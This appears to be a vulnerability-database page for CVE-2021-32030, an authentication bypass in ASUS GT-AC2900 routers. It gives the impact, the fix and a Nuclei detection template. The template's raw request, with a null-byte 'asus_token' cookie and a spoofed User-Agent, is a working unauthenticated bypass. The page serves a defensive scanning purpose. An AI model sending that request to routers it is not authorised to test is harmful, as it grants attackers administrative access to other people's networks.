ASUS GT-AC2900 - Authentication Bypass

Exploited in the wild. Listed by CISA on 2025-06-02; known to be used by ransomware.

criticalseverity

9.8CVSS score

99.4%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

ASUS GT-AC2900 devices before 3.0.0.4.386.42643 allows authentication bypass when processing remote input from an unauthenticated user, leading to unauthorized access to the administrator application. This relates to handle_request in router/httpd/httpd.c and auth_check in web_hook.o. An attacker-supplied value of '' matches the device's default value of '' in some situations.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to the router's settings, allowing an attacker to modify configurations, intercept network traffic, or launch further attacks.

Fix

Apply the latest firmware update provided by ASUS to fix the authentication bypass vulnerability (CVE-2021-32030).

How to confirm it

Send: GET /appGet.cgi?hook=get_cfg_clientlist()
Positive when: contains in header "application/json" AND contains "get_cfg_clientlist" and "alias" and "model_name" AND status 200

Run it with nuclei: nuclei -id CVE-2021-32030 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-32030

info:
  name: ASUS GT-AC2900 - Authentication Bypass
  author: gy741
  severity: critical
  description: "ASUS GT-AC2900 devices before 3.0.0.4.386.42643 allows authentication bypass when processing remote input from an unauthenticated user, leading to unauthorized access to the administrator application. This relates to handle_request in router/httpd/httpd.c and auth_check in web_hook.o. An attacker-supplied value of '\0' matches the device's default value of '\0' in some situations."
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to the router's settings, allowing an attacker to modify configurations, intercept network traffic, or launch further attacks.
  remediation: |
    Apply the latest firmware update provided by ASUS to fix the authentication bypass vulnerability (CVE-2021-32030).
  reference:
    - https://www.atredis.com/blog/2021/4/30/asus-authentication-bypass
    - https://nvd.nist.gov/vuln/detail/CVE-2021-32030
    - https://github.com/atredispartners/advisories/blob/master/ATREDIS-2020-0010.md
    - https://www.asus.com/Networking-IoT-Servers/WiFi-Routers/ASUS-Gaming-Routers/RT-AC2900/HelpDesk_BIOS/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-32030
    cwe-id: CWE-287
    epss-score: 0.99393
    epss-percentile: 0.9994
    cpe: cpe:2.3:o:asus:gt-ac2900_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: asus
    product: gt-ac2900_firmware
  tags: cve2021,cve,asus,auth-bypass,router,kev,vkev,vuln

http:
  - raw:
      - |
        GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1
        Host: {{Hostname}}
        User-Agent: asusrouter--
        Referer: {{BaseURL}}
        Cookie: asus_token=\0Invalid; clickedItem_tab=0

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - application/json

      - type: word
        words:
          - "get_cfg_clientlist"
          - "alias"
          - "model_name"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from